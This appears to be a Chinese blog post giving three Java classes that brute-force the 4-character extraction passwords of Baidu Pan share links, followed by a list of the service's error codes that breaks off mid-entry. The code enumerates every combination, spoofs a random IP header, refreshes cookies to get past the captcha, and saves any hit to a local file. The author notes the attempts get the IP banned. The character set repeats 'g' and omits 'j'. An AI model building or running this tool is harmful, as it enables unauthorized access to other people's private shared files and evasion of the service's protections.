执行文件
import java.util.ArrayList;
import java.util.List;
public class Execute {
String n = "";
/**
* 执行多线程任务
*
* @param sum
*/
public void executeThread(String urlString, int sum) {
List<String> pwd = getPWD();
int everyThread = pwd.size() / sum;
for (int i = 0; i < sum; i++) {
n = i + "";
ThreadTry n = new ThreadTry(urlString, i * everyThread, (i + 1)
* everyThread, pwd);
n.start();
}
}
/**
* 获取所有密码
*
* @return
*/
private List<String> getPWD() {
char s[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a',
'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'g', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };
List<String> list = new ArrayList<String>();
for (char one : s) {
for (char two : s) {
for (char three : s) {
for (char four : s) {
list.add("" + one + two + three + four);
// System.out.println(""+one+two+three+four);
}
}
}
}
return list;
}
}
访问文件
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Random;
public class HttpURL {
private String info = "";
private String urlString = "";
private String cookie = "";
private String ip="";
URL url = null;
public HttpURL() {}
public HttpURL(String str) {
urlString = str;
// 定义info为网址init后的参数
info = urlString.substring(urlString.indexOf('?') + 1);
}
/**
* 执行操作
*
* @throws IOException
*/
public boolean execute(String password) {
try {
ip=getIP();
HttpGet();
return tryPWD(password);
} catch (IOException e) {
e.printStackTrace();
return false;
}
}
/**
* 尝试生成随机数
*/
public String getIP() {
Random r = new Random();
r.nextInt(250);
return r.nextInt(250) + "." + r.nextInt(250) + "." + r.nextInt(250)
+ "." + r.nextInt(250);
}
/**
* 尝试密码
*
* @param pwd
* @return
* @throws UnsupportedEncodingException
* @throws IOException
*/
public boolean tryPWD(String pwd) throws UnsupportedEncodingException,
IOException {
String data = HttpPost("pwd=" + pwd + "&vcode=&vcode_str=");
if (data.contains("\"errno\":-9"))
return false;
else if (data.contains("\"errno\":0"))
return true;
else
return false;
}
/**
* 进行GET请求获取新的cookie
*
* @return
* @throws IOException
*/
public void HttpGet() throws IOException {
// 新建url连接
url = new URL(urlString);
// 打开链接
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
// 设置参数
connection.setRequestMethod("GET");
connection.setRequestProperty("ContentType", "text/html;charset=UTF-8");
connection.setRequestProperty("Host", "pan.baidu.com");
connection.setRequestProperty("Ip", ip);
connection.setRequestProperty("Referer",
"http://pan.baidu.com/share/link?" + info);
connection.setRequestProperty("Cookie", "");// connection.getHeaderField("Set-Cookie"));
InputStream response = connection.getInputStream();
cookie = connection.getHeaderField("Set-Cookie");
writeContent(response);
connection.disconnect();
response.close();
}
/**
* 使用密码进行POST请求
*
* @param url
* @param param
* @return
* @throws IOException
* @throws UnsupportedEncodingException
*/
public String HttpPost(String param) throws UnsupportedEncodingException,
IOException {
// 新建url连接
url = new URL(
"http://pan.baidu.com/share/verify?"
+ info
+ "&t="
+ System.currentTimeMillis()
+ "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=033646&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==");
// 打开链接
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
// 设置参数
connection.setDoOutput(true); // Triggers POST.
connection.setRequestMethod("POST");
connection.setRequestProperty("Content-Type",
"application/x-www-form-urlencoded; charset=UTF-8");
connection.setRequestProperty("Referer",
"http://pan.baidu.com/share/init?" + info);
connection.setRequestProperty("ContentLength",
param.getBytes("UTF-8").length + "");
connection.setRequestProperty("Host", "pan.baidu.com");
connection.setRequestProperty("Ip", ip);
connection.setRequestProperty("Cookie", cookie);
OutputStream output = connection.getOutputStream();
try {
output.write(param.getBytes("UTF-8"));
} finally {
output.close();
}
InputStream response = connection.getInputStream();
String html = writeContent(response);
response.close();
connection.disconnect();
return html;
}
/**
* 输出网页信息
*
* @param in
* @throws IOException
*/
public String writeContent(InputStream in) throws IOException {
BufferedReader br = new BufferedReader(new InputStreamReader(in,
"UTF-8"));
String line;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null) {// 循环读取流
sb.append(line);
}
br.close();// 关闭流
// System.out.println(sb.toString());
return sb.toString();
}
}
线程文件
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
public class ThreadTry extends Thread {
private List<String> password = new ArrayList<String>();
private String url = "";
Main m=new Main();
public ThreadTry(String urlString, int start, int end, List<String> pwd) {
url = urlString;
for (int index = start; index < end; index++) {
password.add(pwd.get(index));
}
}
public void run() {
for (String p : password) {
System.out.println("密码:" + p + "--" + Thread.currentThread().getName());
m.setMsg("密码:" + p + "--" + Thread.currentThread().getName());
boolean flag = new HttpURL(url).execute(p);
if (flag) {
write("密码:" + p);
System.exit(0);
}
try {
Thread.sleep(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
private void write(String str) {
FileOutputStream out = null;
try {
File file = new File("D:" + File.separator + "pwd.txt");
// File file = new File(getFileName());
if (!file.exists()) {// 若文件不存在则新建一个
file.createNewFile();
}
out = new FileOutputStream(file, true);// true表示追加打开
// out = new FileOutputStream(file);// 实例化输入流
out.write(str.getBytes());// 换行则加\r\n
out.flush();// 推一下,避免字符留在缓存未写入
out.close();// 关闭输出流
} catch (IOException e) {
System.out.println(e.getMessage());
}
}
}
总结:可以访问百度云并绕过验证码机制尝试密码,但执行时会因访问次数过多被暂时禁止该ip访问。
附:
0:成功;
-1:由于您分享了违反相关法律法规的文件,分享功能已被禁用,之前分享出去的文件不受影响。;
-2:用户不存在;请刷新页面后重试;-3:文件不存在;请刷新页面后重试;
-4:登录信息有误,请重新登录试试;
-5:登录信息有误,请重新登录试试;
-6:请重新登录;
-7:该分享已删除或已取消;
-8:该分享已经过期;
-9:访问密码错误;
-10:分享外链已经达到最大上限100000条,不能再次分享;
-11:验证cookie无效;
-14:对不起,短信分享每天限制20条,你今天已经分享完,请明天再来分享吧!;
-15:对不起,邮件分享每天限制20封,你今天已经分享完,请明天再来分享吧!;
-16:对不起,该文件已经限制分享!;
-17:文件分享超过限制;
-19:验证码输入错误,请重试;
-20:请求验证码失败,请重试;
-21:未绑定手机或邮箱,没有权限私密分享;
-22:被分享的文件无法重命名,移动等操作;
-30:文件已存在;
-31:文件保存失败;
-32:你的空间不足了哟,赶紧购买空间吧;
-33:一次支持操作999个,减点试试吧;
-40:热门推荐失败;
-60:相关推荐数据异常;
-62:密码输入次数达到上限;
-64:描述包含敏感词;
-70:你分享的文件中包含病毒或疑似病毒,为了你和他人的数据安全,换个文件分享吧;
1:服务器错误;
2:参数错误;
3:未登录或帐号无效;
4:存储好像出问题了,请稍候再试;
12:批量处理错误;
14:网络错误,请稍候重试;
15:操作失败,请稍候重试;
16:网络错误,请稍候重试;
105:创建链接失败,请重试;
106:'文件读取失败,请<ahref=javascript:window.location.reload();>刷新</a>页面后重试';
108:文件名有敏感词,优化一下吧;
110:您今天分享太多了,24小时后再试吧;
111:外链转存失败,请稍候重试;
112:'页面已过期,请<ahref=javascript:window.location.reload();>刷新</a>后重试';
113:外链签名有误;
114:当前任务不存在,保存失败;
115:该文件禁止分享;
116:分享不存在;117:分享已经过期;2126:文件名中含有敏感词;
2135:对方拒绝接收消息;2102:群组不存在;2103:你已退出该群;
9100:'你的帐号存在违规行为,已被冻结,<ahref=/disk/appeal>查看详情</a>';
9200:'你的帐号存在违规行为,已被冻结,<ahref=/disk/appeal>查看详情</a>';
9300:'你的帐号存在违规行为,该功能暂被冻结,<ahref=/disk/appeal>查看详情</a>';
9400:'你的帐号异常,需验证后才能使用该功能,<ahref=/disk/appeal>立即验证</a>';
9500:'您的帐号存在安全风险,已进入保护模式,请修改密码后使用;<a